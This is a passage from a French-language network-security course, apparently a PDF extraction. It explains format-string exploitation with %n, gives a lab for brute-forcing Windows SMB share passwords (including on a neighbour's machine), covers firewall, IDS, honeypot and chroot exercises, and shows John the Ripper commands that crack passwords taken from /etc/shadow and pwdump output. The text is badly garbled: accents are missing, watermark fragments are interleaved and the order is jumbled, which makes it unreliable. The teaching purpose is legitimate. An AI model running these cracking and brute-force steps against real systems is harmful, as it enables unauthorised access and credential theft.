elle-mme, en ayant donc accs aux adresses de retour des fonctions etc... Trs intressant lorsquon veut jouer un peu avec la pile... Cependant cela ne permet pas dexcuter du code arbitraire, ni de lancer une shell en root, alors que cest bien entendu notre but... La solution vient dun autre type de spcieur de format ( ce sujet il peut tre utile de consulter le manuel printf(2) et ses variantes, toutes les explications qui suivent tant valables aussi bien pour sprintf() etc..) : "%n". Lutilisation de "%n" demande printf() dcrire le nombre de caractres dj envoys depuis le dbut de lexcution de linstruction. Largument correspondant %n sera ladresse mmoire laquelle il faut crire cette valeur. Autre particularit, %n demande le nombre de caractres qui ont ou qui devraient avoir t crits, jusqu lendroit du %n. Par exemple snprintf(buf, 2, "%1000d%n", 1, &a) crit 1000 ladresse &a et non 2, bien que seul deux caractres aient t crits. Bon cela nous permet dcrire des nombres arbitraires, et pour les crire la bonne adresse il faut fournir printf() des pointeurs vers les bons endroits, par exemple ladresse de retour de la fonction, an de lui faire excuter autre chose. Pour cela il faudrait pouvoir choisir les arguments qui sont passs printf() ! Mais rappelons-nous, il ny en a quun. Les autres sont pris sur la pile lendroit o printf() est arriv. Il suft donc de mettre sufsamment de spcieurs de format pour "consommer" la pile et nir par arriver au dbut de la string que lon fournit soi-mme, en remontant dans la mmoire et en descendant dans la pile ! A ce moment-l on dispose darguments que lon peut contrler soi-mme, en leur donnant par exemple la valeur de ladresse ou est crite ladresse de retour de la fonction, que lon a pu trouver en examinant le contenu de la pile prcdemment. Il reste un problme, la taille du buffer. Puisque la plupart du temps on ne peut choisir linstruction que lon exploite, il nest pas possible dutiliser le fait que %n imprime non pas le nombre de caractres effectivement crit mais le nombre de caractres qui auraient d tre crits. Ladresse laquelle se trouve notre shellcode peut tre trs leve,et il nest souvent pas possible dcrire autant de caratres dans le buffer utilis comme "format string", puisquil est forcment de taille limite. Une solution est dcrire ladresse en plusieurs parties, mme byte par byte si ncessaire, en crivant chaque fois une partie de ladresse, du byte le moins signicatif au byte le plus signicatif, pour viter deffacer des bytes dj crits. Bien entendu comme %n fait crire le nombre de bytes dj crits, il faut soustraire ce nombre chaque tape au nombre de caractres que lon met dans la string pour obtenir le nombre dsir, composant ladresse. Il suft enn de fournir le shellcode au debut de la string que lon exploite, de trouver ladresse o il est stock en examinant la pile comme dcrit plus haut, et daller crire son adresse la place de ladresse de retour de la fonction, trouve de la mme faon. Le principe est assez simple une fois que lon a compris la faon dont la pile volue au l des appels des procdures, et ce qui est pouss dessus.
oc um en ts
ou sl
ic
en ce
FD
101
oc um en ts
ou sl
ic
en ce
FD
Chapitre 25
25.1 Introduction
oc um en ts
Si nous avons accs la machine qui possde des partages, inutile dessayer de casser le mot de passe autant se dplacer. Nous allons donc partir du postulat comme quoi, la machine nest pas sous notre nez et que nous avons pris une @IP au hasard. Le voisinage rseau du systme qui nous intresse rponds un protocole qui nous permet de connatre les partages offerts par le systme. La commande utilise sous Dos pour connatre ces partages est nbtstat, celle-ci nest hlas pas disponible sous Linux. Une petite recherche sur le net met trs rapidement n ce manque en nous donnant un petit programme C. Windows nbtstat -A @IP Linux ./nbtstat @IP
ou sl
102
ic
Les attaques les plus btes ne sont pas forcment les moins dvastatrices. Sous certains systmes, les tentatives daccs une ressource rseau ne sont pas loggs dans un journal o si elles le sont ne sont pas annoncs de manire explicite lutilisateur. Il est donc possible de tester les mots de passe un un jusqu trouver le bon ... Cest ce que nous allons voir avec ces travaux pratiques.
en ce
FD
103
F IG . 25.1 Utilisation de nbtstat Nous connaissons maintenant le login de connexion de lutilisateur et le nom de la machine ainsi que dautres informations qui nauront pas dintrt dans notre dmonstration. Login : MGT Hostname : TOURNESOL
Le protocole NetBios utilise les noms de machines pour pouvoir se connecter celles-ci, il nous faut donc informer la relation @IP < > Nom de machine sur notre systme. Nous allons donc indiquer dans le chier /etc/hosts (Linux) ou c:\windows\hosts ou lmhosts cette relation.
Les options utilises dans la commande Linux sont : -N : pour ne pas demander de mot de passe -L : pour permettre de demnder les services disponibles sur le serveur En voici le rsultat sous Linux :
oc um en ts
192.168.0.147 TOURNESOL
ou sl
Workstation Service Domain Name Messenger Service File Server Service Potential Master Browser Messenger Service
ic
en ce
FD
00 41 41 4F 00 00 20 20 20 20 E5 00 00 00
00 41 41 55 42 C4 20 20 20 20 00 00 00 00
20 41 41 52 49 00 03 20 20 20 00 00 00 00
43 41 00 4E 2E 54 44 20 20 20 00 00 00 00
4B 41 00 45 43 4F 00 20 20 20 00 00 00 00
41 41 21 53 4F 55 54 44 20 20 00 00 00 00
.H.......... CKA AAAAAAAAAAAAAAAA AAAAAAAAAAAAA..! .........TOURNES OL .D.BI.CO M ...TOU RNESOL .D.T OURNESOL D .BI.COM ...MGT .D............ ................ ................ ................ .....
104
Windows Linux
NET USE [drive: | *] [\\computer\directory [password | ?]] smbmount //computer/partage ~/mnt -o password=motdepasse
25.4.1 Exemples
oc um en ts
Windows Linux
ou sl
Laccs un partage Windows peut se faire dans lenvironnement rseau par clic souris. Le problme que lon rencontre ici est que nous ne conaissons pas le mot de passe ce qui signie que nous ne sommes pas mme de mettre le bon mot de passe dans la fentre dactivation du partage. Il nous faut donc faire ceci non pas de manire clic clic souris mais de manire automatise an de tester un nombre important de mot de passe (jusqu trouver le bon). Les commandes utilisables pour ceci sont les suivantes :
ic
en ce
FD
105
oc um en ts
ou sl
Crer un partage non protg et un partage protg avec un mot du dictionnaire sur votre machine. Utiliser les commandes prcdemment montres an de visualiser les diffrents partages et les informations ncessaires notre stratgie. Utiliser les 2 mthodes de partage pour accder au rpertoire partag sans mot de passe. Utiliser les 2 mthodes de partage pour accder au rpertoire partag protg. Utiliser le programme crack.pl pour accder au partage protg de votre voisin.
ic
en ce
Le programme est simple, il lit ligne aprs ligne le chier dico qui contient le dictionnaire des mots franais courant. Un afchage permet de contrler les tests. Lorsque la commande smbmount russi.
FD
Chapitre 26
oc um en ts
ou sl
106
ic
en ce
Attaquer un serveur Web nest pas du niveau du premier venu, on pourrait donc penser que peu de personnes pourront donc attaquer. Malgr tout, ceci est faux. En effet, par acquis de notorit toutes les failles de scurit sont dvoiles et mises en ligne sur Internet. Il est possible alors de jeunes pirates de se transformer en pourfandeur de serveur Web. On les nomme les script Kiddies.
FD
Conclusion
oc um en ts
ou sl
107
ic
Dfense
en ce
Sixime partie
FD
Chapitre 27
oc um en ts
ou sl
108
Nous ne sommes tout de mme pas vulnrables tout ce qui passe sur le rseau. Plusieurs mthodes et solutions existent pour nous protger. La plus connue est bien sr le FireWall ou Pare Feu, mais lui tout seul, il nest pas grand chose. Il est prfrable de lui adjoindre un IDS (Intrusion Detection System). Malgr ces deux outils, rien nempchera quelquun de pntrer chez vous (surtout si vous ne regardez pas les logs !). Alors pourquoi ne pas lui offrir ce quil dsire ? Le Pot Miel nous sert donner manger ceux qui ont faim de scurit. Heureusement, lapiculteur nest pas loin pour surveiller ! Autre mthode, autre faon de voir les choses, technique de la bulle ou de la prison, laissons les gens vagabonder o ils le souhaitent mais dans leur prison uniquement ... Enn, rien ne vaut tout de mme une bonne serrure avec une bonne cl pour empcher les voleurs de rentrer, voyons donc quelques mthodes pour sautotester.
ic
en ce
FD
Introduction
Chapitre 28
Les machines A doivent se connecter au rseau par lintermdiaire du serveur Proxy. Ce dernier sert de relais entre le rseau et les machines cacher. Ainsi, les machines du rseau B auront limpression de communiquer avec le proxy, et non les machines A. Pour les applications du rseau B, ladresse IP du client sera celle du serveur Proxy. Par exemple, lors dune connexion un serveur HTTP, le browser se connecte au serveur proxy et demande lafchage dune URL. Cest le serveur proxy qui gre la requte et qui renvoie le rsultat votre browser. Ainsi, en utilisant un numro de port diffrent, le proxy oblige toutes les requte passer par lui en supprimant les trames dont le numro de port ne lui correspond pas. De plus, le proxy possde un avantage supplmentaire en termes de performances. Si deux utilisateurs demandent peu de temps dintervalle la mme page, celle-ci sera mmorise dans le proxy, et apparatra donc beaucoup plus rapidement par la suite. Ce procd est trs intressant en termes de scurit sur Internet, les machines sont protges. Le serveur proxy peut ltrer les requtes, en fonctions de certaines rgles.
oc um en ts
ou sl
109
ic
en ce
Le but dun serveur proxy est disoler une ou plusieurs machines pour les protger, comme indiqu sur le schma :
FD
Proxy[12]
Chapitre 29
Un pare-feu est une structure destine empcher un feu de la traverser. Dans un immeuble, il sagit dun mur qui divise compltement des parties de celui-ci. Dans une voiture, un pare-feu est une pice mtallique qui spare le moteur du compartiment passagers. Les pare-feux Internet sont conus pour isoler votre rseau local priv des ammes de lInternet, ou de protger la puret des membres de votre rseau local en leur interdisant laccs aux tentations dmoniaques de lInternet. ;-) Le premier pare-feu informatique tait une machine Unix sans routage avec deux connexions deux rseaux diffrents. Une carte rseau tait connecte Internet et lautre au rseau priv. Pour atteindre Internet depuis le rseau priv, il fallait se logger sur le pare-feu (Unix). Ensuite, on utilisait les ressources de ce systme pour accder Internet. Par exemple, on pouvait utiliser X-Window pour lancer le navigateur Netscape sur le pare-feu et en avoir lafchage sur sa station de travail. Si le navigateur tourne sur le pare-feu, il a accs aux deux rseaux. Cette sorte dhte double rseau (un systme deux connexions rseau) est bien si lon peut faire conance TOUS les utilisateurs. On peut congurer simplement un systme Linux et y crer un compte pour tout utilisateur souhaitant un accs Internet. Avec cette conguration, le seul ordinateur du rseau priv qui connaisse quelque chose du monde extrieur est le pare-feu proprement dit. Personne ne peut tlcharger directement sur un poste de travail personnel il faut dabord tlcharger un chier sur le pare-feu, puis transfrer celui-ci du pare-feu au poste de travail. NOTE IMPORTANTE : 99% des intrusions commencent par lobtention dun accs utilisateur sur le systme attaqu. Pour cette raison, je ne recommande pas ce type de pare-feu. De plus, il est aussi extrmement limit.
oc um en ts
ou sl
110
ic
en ce
FD
111
F IG . 29.1 Principe du ltrage[2] Le ltrage de paquets est le type de pare-feu inclus dans le noyau Linux. Un pare-feu ltrant fonctionne au niveau du rseau. Les donnes ne sont autorises quitter le systme que si les rgles du pare-feu le permettent. Lorsque les paquets arrivent, ils sont ltrs en fonction de leur type, origine, destination et port qui sont dcrits dans chacun de ceux-ci. De nombreux routeurs comportent un certain nombre de services de type pare-feu. Les pare-feux ltrants peuvent tre penss comme des types particuliers de routeurs. Pour cette raison, il faut une profonde comprhension de la structure des paquets IP pour travailler avec lun deux. Puisque trs peu de donnes sont analyses et traces, les pare-feux ltrants consomment peu de temps processeur et crent moins de latence sur un rseau. Les pare-feux ltrants ne fournissent pas de contrle par mot de passe. Un utilisateur ne peut sidentier en tant que tel. La seule identit connue pour un utilisateur est ladresse IP de son poste de travail. Cela peut tre un problme lorsquon souhaite utiliser DHCP (assignation dynamique dadresses IP). En effet, les rgles tant fondes sur les adresses IP, il faut ajuster celles-ci chaque fois que de nouvelles adresses sont assignes. Les pare-feux ltrants sont plus transparents pour les utilisateurs. Ceux-ci nont en effet pas congurer des rgles dans leurs applications pour utiliser Internet. Ce nest pas vrai avec la plupart des serveurs mandataires.
oc um en ts
ou sl
ic
en ce
FD
112
De nombreux serveurs SOCKS fonctionnent uniquement avec les connexions de type TCP. De mme, comme les pare-feux ltrants, il ne permettent pas lauthentication dutilisateurs. En revanche, ils peuvent enregistrer la destination de la connexion de chaque utilisateur.
Il existe de nombreuses manires de structurer un rseau pour protger des systmes laide dun parefeu. Si lon dispose de connexions ddies Internet par un routeur, on peut connecter directement celui-ci au systme pare-feu. Au contraire, on peut passer par un hub pour permettre un accs complet aux serveurs lextrieur du pare-feu. On peut congurer un certain nombre de rgles de ltrage matrielles dans le routeur. Nanmoins, ce routeur peut tre la proprit dun FAI (fournisseur daccs Internet), auquel cas on ne dispose pas du contrle de celui-ci. Il faut demander au FAI dy inclure des ltres (NdT : et avoir pleine conance dans son FAI !). On peut aussi utiliser un service commut comme une ligne RNIS. Dans ce cas on peut utiliser une troisime carte rseau pour crer une DMZ (De-Militarized Zone, ou "zone dmilitarise") ltre. Cela donne un contrle total sur les services Internet et maintient la sparation avec le rseau local normal. Si lon ne fournit pas soi-mme des services Internet mais que lon souhaite surveiller o vont les utilisateurs, on voudra utiliser un serveur mandataire (bastion). Cela peut tre intrgr dans le pare-feu. On peut aussi placer le serveur mandataire sur le rseau local. Dans ce cas, les rgles du pare-feu ne doivent autoriser que le bastion se connecter Internet pour les services que celui-ci fournit. Ainsi les utilisateurs ne peuvent accder Internet que par le mandataire.
oc um en ts
ou sl
ic
Un mandataire SOCKS ressemble beaucoup un vieux central tlphonique ches. Il interconnecte simplement une machine interne une autre externe.
en ce
FD
113
_________ __________ _/\__/\_ | Routeur | | | ___________ | | | sans | (DMZ) | Systeme | (LAN) | Postes de | / Internet \----| filtre |--(HUB)--| pare-feu |--(HUB)--| travail | \_ _ _ _/ |_________| | |__________| |___________| \/ \/ \/ | (Serveur pour) (lexterieur) F IG . 29.2 PareFeu derrire un routeur sans ltre __________ _/\__/\_ | | ___________ | | | Systeme | (LAN) | Postes de | / Internet \----| pare-feu |--(HUB)--| travail | \_ _ _ _/ |__________| |___________| \/ \/ \/ | (DMZ) (HUB) F IG . 29.3 PareFeu Routeur
Le fait dinstaller un rewall nest bien videmment pas signe de scurit absolue. Les rewalls ne protgent en effet que des communications passant travers eux. Ainsi, les accs au rseau extrieur non raliss au travers du rewall sont autant de failles de scurit. Cest par exemple le cas des connexions effectues laide dun modem. Dautre part, le fait dintroduire des supports de stockage provenant de lextrieur sur des machines internes au rseau peut tre fort prjudiciable pour la scurit de ce dernier. La mise en place dun rewall doit donc se faire en accord avec une vritable politique de scurit. Dautre part la mise en place dun systme pare-feu nexempt pas de se tenir au courant des failles de scurit et dessayer de les minimiser...
oc um en ts
En utilisant une technique de DNS jeton tournant ou laide de serveurs dapplications quilibrage de charge, on peut crer un service 100% de disponibilit. Il est facile de voir corrompre son rseau local. Il faut conserver le contrle de chaque connexion. Il suft dun utilisateur avec un modem pour compromettre tout un rseau local.
ou sl
Si lon souhaite raliser un service comme ceux de Yahoo ! ou peut-tre SlashDot, on peut souhaiter raliser une architecture redondante de routeurs et pare-feux (cf. High Availability HOWTO).
ic
en ce
FD
114
Note : ce ltrage se fait au niveau du noyau, ceci ncessite donc une recompilation ou du moins une adquation de la conguration pour supporter les ltres.
Do cu me nt
so us
les paquets sortants (output) gnr par le rseau local Pour quun paquet puisse passer, il faut quil puisse traverser les trois chanes, dans lordre input, forward, output. Deux applications permettent de faire ce ltrage, il sagit dIPTable et dIPChains. Les rgles de ltrage sont nommes des chanes. Cest lensemble de ces rgles qui va permettre de crer un pare-feu.
li ce nc e
FD L
115
La connexion en reste l.
oc um en ts
ou sl
ic
telnet mail.mamachine.com 25 Trying 192.168.1.2... telnet : Unable to connect to remote host: Connection refused
en ce
FD
116
Excuter lutilitaire lokkit pour laisser passer le web, le dhcp, ssh. Rponse : lokkit ; slectionner tous les choix dans customize e
Rendez votre machine invisible au ping par les commandes suivantes : iptables -A INPUT -d @IP -p icmp --icmp-type echo-reply -j DROP iptables -A INPUT -d @IP -p icmp --icmp-type echo-request -j DROP Testez Rponse :
oc um en ts
ou sl
Rponse : iptables -L
ic
A noter : sous RedHat, la conguration de IPTables peut tre ralise par le logiciel de conguration lokkit accessible par la commande setup ou lokkit directement. Un excellent tutoriel (en anglais) sur IPTABLES est disponible ladresse suivante :
en ce
Disposant dun noyau 2.4, ipchains nest plus utilis dans les nouvelles versions de Linux, cest iptables qui est disponible. Pour lutilisation qui en sera faite ici, on notera simplement que la directive DENY a t remplac par la commande DROP.
FD
117
Pourquoi utiliser DROP plutt que REJECT ? Rponse : REJECT renvoie une trame ICMP indiquant un refus de rponse, il va e donc indiquer au ping notre prsence e Supprimer les rgles iptables Rponse : iptables -F ; il est bien sr possible dutiliser -D pour supprimer u les r`gles une ` une. e a
Utiliser DROP : tester. Rponse : iptables -A INPUT -p tcp --dport 23 -j DROP telnet nindique rien, les trames rseaux tant tout simplement e e ignore e Il est bien sr possible de logger les interactions du Firewall -j LOG.
oc um en ts
Aides : le port utilis par telnet est le 23. on peut spcier le port sur une rgle iptables par dport <noport> on peut spcier le protocole utilis par -p <protocole> Utiliser REJECT : tester. Rponse : iptables -A INPUT -p tcp --dport 23 -j REJECT telnet indique que la connexion est refuse par le serveur. e
ou sl
Bloquer les trames arrivant sur votre serveur an dempcher les accs telnet.
ic
en ce
FD
118
Pour que les logs apparaissent dans un chier spars, il est ncessaire de modier le chier syslog.conf en indiquant : kern.warning /var/log/iptables.log
Interdire Internet Explorer (faille de scurit en soit) daccder Internet Explorer) Rponse : Program Control : Add ... Internet Explorer Block
oc um en ts
ou sl
ic
en ce
FD
Chapitre 30
30.1 Introduction
oc um en ts
ou sl
ic
Quest ce quun IDS (Intrusion Detection System) ? Un IDS surveille les signatures dattaques, qui sont reprsentes par des motifs spciques qui souvent indiquent des intentions malicieuses ou suspectes. Lorsquun IDS surveille ces motifs sur le rseau grce une interface en mode promiscius, celui-ci devient un NIDS (Network IDS).
en ce
FD
IDS [12]
120
comportementaux peuvent tre labors partir danalyses statistiques ou de techniques proches de lintelligence articielle. La principale promesse des IDS comportementaux est la dtection des nouveaux type dattaque. En effet ces IDS ne sont pas programms pour reconnatre des attaques spciques mais signalent toute activit "anormale". De ce fait une attaque ne doit pas ncessairement tre connue davance ; ds lors quelle reprsente une activit anormale elle peut tre dtecte par lIDS comportemental. Du fait mme de leur conception ces IDS sont incapables de qualier la criticit des attaques. De plus, ces IDS signaleront par exemple tout changement dans le comportement dun utilisateur quil soit hostile ou non. De frquents ajustements sont ncessaires an de faire voluer le modle de rfrence de sorte quil rete lactivit normale des utilisateurs et rduire le nombre de fausses alertes gnres.
Les IDS Systmes analysent quant eux le fonctionnement ou ltat des machines sur lesquelles ils sont installs an de dtecter les attaques. Ils sont trs dpendants du systme sur lequel ils sont installs. Il faut donc des outils spciques en fonction des systmes dploys. Ces IDS peuvent sappuyer sur des fonctionnalits daudit propres au systme dexploitation ou non pour vrier lintgrit du systme et gnrer des alertes. Il faut cependant noter quils sont incapables de dtecter les attaques affectant les couches rseaux de la machine ; typiquement les Dni de service comme SYN FLOOD ou autre.
oc um en ts
Ces outils analysent le trac rseau ; ils comportent gnralement une sonde qui " coute " sur le segment de rseau surveiller et un moteur qui ralise lanalyse du trac an de dtecter les signatures dattaques ou les divergences face au modle de rfrence. Les IDS Rseau base de signatures sont confronts actuellement deux problmes majeurs qui sont : le dveloppement de lutilisation du cryptage et le dveloppement des rseaux commuts. En effet, il est dune part plus difcile "dcouter" sur les rseaux commuts et le cryptage rend lanalyse du contenu des paquets presque impossible. La plupart des NIDS sont aussi dits IDS inline car ils analysent le ux en temps rel. Pour cette raison, la question des performances est trs importante car de tels IDS doivent tre de plus en plus performants an danalyser les volumes de plus en plus importants pouvant transiter sur les rseaux.
ou sl
ic
en ce
FD
Les IDS peuvent galement se classer selon deux catgories majeures selon quils sattachent surveiller le trac rseau ou lactivit des machines. On parle dIDS rseau (NIDS : Network IDS) ou dIDS Systme (Host based IDS).
121
30.9 Le futur
On peut penser que dans un futur proche devrait apparatre et se dvelopper les IDS distribus. Ceux-ci consisteraient en agents dploys sur tous (ou presque) les noeuds du rseau et agissant comme autant de sondes rseau et dIDS systmes. Ces agents analyseraient le trac rseau destination de la machine sur laquelle ils seraient installs et contrleraient galement lintgrit de ce systme. Le point central deviendrait alors un "serveur IDS" auquel tous les agents devraient rendre compte et qui seraient en mesure dagrger et de consolider les informations en provenance des agents an de gnrer les alertes.
oc um en ts
ou sl
ic
en ce
FD
122
30.12 Conclusion
Lire la documentation de hPing, utiliser le pour envoyer des trames volontairement malformes.
oc um en ts
Les IDS sont actuellement des produits mrs et aboutis. Ils continuent dvoluer pour rpondre aux exigences technologiques du moment mais offrent dores et dj un ventail de fonctionnalits capable de satisfaire les besoins de tous les types dutilisateurs. Nanmoins comme tous les outils techniques, ils ont des limites que seule une analyse humaine peut compenser. Un peu comme les Firewalls, les dtecteurs dintrusion deviennent chaque jour meilleurs grce lexprience acquise avec le temps mais ils deviennent aussi de plus en plus sensibles aux erreurs de conguration et de paramtrage. Par consquent, il est plus que fondamental de former correctement les personnes charges de la mise en oeuvre et de lexploitation des IDS. Malheureusement, il semble que cest encore l o aujourdhui encore subsiste la plus grande partie de la difcult.
Rponse : vi /etc/snort/snort-lib
ou sl
ic
en ce
FD
Si dans le dernier fragment dun paquet fragment, la taille plus son OFFSET est plus grand que le MTU du rseau, le paquet est suspect.
123
mkdir /tmp/dir On cre un rpertoire pour les stocker les informations extraites cd /etc/snort On se mets dans le rpertoire de snort . snort.conf On lit les valeurs par dfaut de conguration snort -r /var/log/snort/snort.log -S HOME_NET=$DEBIAN_SNORT_HOME_NET -c /etc/snort/snort-lib -l /tmp/dir Enn, il est possible de consulter la bases de donnes de Snort : http://www.snort.org/snort-db/ pour obtenir de plus amples formations sur lune des signatures.
oc um en ts
ou sl
ic
en ce
FD
Chapitre 31
31.1 But
1 Vritable
pirate dnu de scrupules, nhsite pas commettre des dgats lors de ses intrusions indlicates dans les rseaux.
oc um en ts
Le but principal est de connatre les outils, les tactiques et les motivations de la communaut Black Hat1 , et partager les leons ainsi acquises. Ils permettent par la mme occasion de voir les effets des vers (section 36.2 page : 138). Recherche Identication des nouveaux outils : exploitation de nouvelles vulnrabilits Identication des nouvelles tactiques : backdoors Prolage des Black Hats : "I know plenty of people thatd pay exorbatent amounts for packeting" Prvention & prdiction rapide Rponse sur incident Dvelopper des comptences Self-defense
ou sl
124
ic
en ce
FD
125
31.2 HoneyPots
31.2.1 Dnition
Un pot miel reprsente une ressource scurise qui na aucune valeur relle mais une valeur ctive. Ce pot miel a pour but dattirer les abeilles an quelles y butinent. Dans notre cas, le but est dinviter les hackers scanner la machine, lattaquer, la corrompre. Bien sr, toutes les intractions sont suivies la loupe par ladministrateur systme & rseaux.
31.2.2 Danger
oc um en ts
ou sl
ic
Cest un rseau de Pot Miel. Il permet de recrer une architecture complte dun rseau avec des vrais serveurs parmi des faux. Une fois que lun des systmes est corrompu ou attaqu, on en analyse les logs an de connatre ce qui a t utilis.
en ce
FD
Risque lev, attire les abeilles mais aussi les gupes et les frelons. Il existe une grande interaction avec lattaquant. Le systme demande une surveillance constante.
126
31.4 Fonctionnement
Rseau hautement contrl dans lequel tous les paquets entrants ou sortants sont enregistrs, capturs et analyss. Tout trac rseau est suspect.
31.4.1 Danger
Les Honeynets sont hautement complexes et requirent de nombreuses ressources humaines et machines. Les Honeynets reprsentent une technologie Haut Risque, ils peuvent tre utiliss pour attaquer ou descendre dautres systmes qui ne sont pas eux des HoneyNets.
31.6 Conclusion
oc um en ts
En rsum : ncessite une personne avec de larges comptences, disponible et ayant du temps consacrer lpluchage des logs. Prol de chercheur universitaire en gnral. De plus, les pots miel ne protgent pas, ils attirent ...
ou sl
Il est suprenant de pouvoir lire ce que lon peut apprendre grce une honeypot : "An Evening with Berferd In Which a Cracker is Lured, Endured and Studied de Bill Cheswick (ftp ://ftp.netsys.com/len/papers/berferd.pdf). Par contre la proximit entre Pirate et Administrateur est trs proche voire malsaine et la ncessit dcoute doit tre de tous les instants.
ic
en ce
Tous les lments dun rseau Honeynet sont combins sur une seule et mme machine physique. Ceci est ralis en excutant de muliples instances de diffrents systmes simultanment, en utilisant par exemple VMware et Linux en mode console.
FD
Chapitre 32
32.2 Exemple
32.3 But
Le but du chrootage est de crer une prison thoriquement impntrable protgeant ainsi tout ce qui est lextrieur de la prison. Dans lexemple ci-dessus, il sera impossible daccder aux chiers en dehors de /home/jonz, puisque maintenant / pointe sur /home/jonz. Le chrootage est communment utilis dans les environnements multiutilisateurs pour protger le systme de chiers. Le Chrootage peut aussi tre utilis pour emprisonner des dmons (services rseaux) an de prvenir les attaques des hackers. Si un hacker exploite une vulnrabilit dun dmon systme chroot, sa capacit affecter les chiers en dehors de la prison ou obtenir un accs root est rduite au minimum. La principale raison de lutilisation de cette mthode est que le shell nest plus une partie de lenvironnement, donc mme si un hacker casse la pile, il ny a pas de shell faire tomber. De nombreuses personnes ont indiqu quelles taient capable de casser une prison, mais dans de nombreux cas, il y avait un shell (ce qui nexiste pas dans le cas dune prison pour dmon). Sortir dune prison pour dmon est extrmement difcile.
32.4 Conclusion
Les dmons associs aux protocoles FTP et SSH utilisent le cloisonnement. Celui-ci permet notamment au niveau de FTP de faire des ouvertures de type anonymous. La version libre de SSH (OpenSSH) nintgre pas cette fonctionnalit, il est cependant possible de raliser
oc um en ts
Si un chier nomm /home/jonz/hello.txt existe sur le systme et que je chroote sur /home/jonz, le chier existera toujours dans lenvironnement chroot mais son chemin sera : /hello.txt.
ou sl
127
La commande/fonction chroot est labrviation de "changer la racine", et dsigne le changement de racine du sytme de chiers sur lenvironnement dapplication. Ceci signie que le / initial dans tous les noms de chemins sera relatif au chemin chroot.
ic
en ce
FD
128
Sous root, crer les rpertoires bin et lib dans un rpertoire chroot Rponse : mkdir -p /chroot/bin /chroot/lib
A laide de la commande ldd visualuser les librairies utilises par bash. Rponse : ldd /bin/bash
oc um en ts
ou sl
ic
cet emprisonnement en modiant quelque peu le code source. Une vulnrabilit demeure tout de mme pour ces deux services, laccs un shell (plus ou moins rduit).
en ce
FD
129
ldd /bin/bash | awk print "cp " $3 " /home/eric/chroot" $3 | /bin/bash Tester Rponse : chroot /chroot
Conclusion
oc um en ts
ou sl
ic
en ce
FD
Utiliser le CD1 de votre distribution RedHat en mode rescue. Dplacer vous dans le rpertoire /mnt/sysimage. Noter le chemin.
Chapitre 33
Les mots de passe permettent dobtenir un accs une zone sensible de votre systme. Mme si cet accs vous semble bnin, toute porte dentre dans votre systme laisse la place plus grand vandalisme et permet souvent la mise en place de logiciels des ns de piratages ou de bonds.
Le mot de passe doit utiliser une combinaison de caractres de tous types (notamment non alphanumrique). Il doit contenir 6 7 caractres diffrents au moins. Il doit tre facile retenir pour ne pas avoir besoin de lcrire Il doit utiliser : des caractres de contrle, et/ou de ponctuation, et/ou des chiffres et/ou des lettres majuscules et minuscules. Et comme nous lavons vu prcdemment : Il ne doit pas faire rfrence une information : gnrale ou personnelle. 130
oc um en ts
ou sl
ic
en ce
FD
Mots de passe
131
s p r i n t f ( c l e , "%s " , " c o u c o u " ) ; s p r i n t f ( s e l , "%s " , " ab " ) ; p r i n t f ( "%s \ n " , c r y p t ( c l e , s e l ) ) ; }
oc um en ts
ou sl
Un mot de passe crypt est cr partir de la fonction crypt. Celle-ci utilise votre mot de passe et du sel (2 caractres dtermin ou non de manire alatoire) pour crypter le mot de passe. Le sel permet de faire monter la sauce i.e. de mlanger les lettres du mot de passe de manire le crypter dune certaine faon. Le sel se retrouve dans les deux premires lettres du mot de passe crypt an de pouvoir tablir la fonction inverse (dcryptage). Cest pour cette raison que les chiers de mots de passe UNIX /etc/passwd nindiquent pas le mot de passe mme crypt. Celui-ci est consign dans un chier shadow qui nest lisible et modiable que par root.
ic
en ce
FD
132
cd john-1.6/src make nous permet de connatre le bon paramtre de compilation make generic : compilation du logiciel Lexcutable se trouve maintenant dans le rpertoire john-1.6/run. Excution de John John peut tre excut de 2 manires gnrales : soit on possde le chier shadow et le chier passwd ; dans ce cas l : ./unshadow /etc/passwd /etc/shadow > passwd.1 ./john passwd.1 Les mots de passes asscocis aux utilisateurs apparaissent. soit le systme est congur sans shadow password, on ne possde alors que le chier password et dans ce cas l : cp /etc/password passwd.1 ./john passwd.1 si lon possde uniquement le chier shadow ./john shadow
oc um en ts
ou sl
Dcompresser John sur le rpertoire c :\john16. Se rendre dans le rpertoire run de john : cd c:\john16\run Copier le chier de mot de passe prcdmment gnr sur ce rpertoire : copy c:\pwdump2\motdepasse.txt . Excuter John : john motdepasse.txt. Les mots de passe apparatront dans quelques secondes ou minutes. Il est noter que lencryptage de Microsoft est trs faible et que de ce fait, peu de temps est ncessaire pour casser les-dits mots de passe. Il faut donc dautant plus blinder le dit mot de passe.
ic
en ce
FD
133
loption -users :<user> permet de faire la recherche du mot de passe pour UN groupe ou UN utilisateur. Le rpertoire doc contient des exemples et de nombreuses aides techniques...
Pour comprendre le module PAM, il est ncessaire de savoir ce que signie les lments suivants : Type auth account password session
Requires the system library libcrack and a system dictionary : /usr/lib/cracklib_dict. Peut vrier notamment les points suivants : Palindrome Case Change Only : lancien mot de passe est identique au niveau en changeant la casse des carcatres. Similaire : Le nouveau mot de passe est trop similaire lancien. Simple : Le mot de passe est trop simple (trop court). Rotated : Le nouveau mot de passe est un mlange de lancien mot de passe. Already used : Le nouveau mot de passe a dj t utilis.
1 In a nutshell, pam_stack lets you "call", from inside of the stack for a particular service, the stack dened for any another service. The intention is to allow multiple services to "include" a system-wide setup, so that when that setup needs to be changed, it need only be changed in one place.
oc um en ts
requisite Le module doit russir. A dfaut PAM met n lauthentication sans excuter les autres modules. sufcient Si le module russit, lauthentication est valide et les autres modules du mme type ne sont pas excuts. required Lexcution du module est obligatoire. regarder le chier /etc/pam.d/passwd pam_stack.so est un module particulier permettant dappeler dautres services avec une mme interface 1 regarder le chier /etc/pam.d/system-auth, noter la prsence de la bibliothque pam_cracklib.so
ou sl
Stratgie dauthentication
ic
Le module qui autorise lauthentication. Le module qui vrie si lauthentication est autorise, par exemple que la date dexpiration du compte nest pa Identie le module qui permet de changer les mots de passe. Le module qui est activ quand lutilisateur est authenti.
en ce
FD
Chapitre 34
oc um en ts
ou sl
134
ic
en ce
Malgr toutes les solutions vues prcdemment pour contrer les attaques du net, la scurit passe avant tout par une veille technologique de tous les instants comme nous le montre cet article.
FD
Conclusion
135
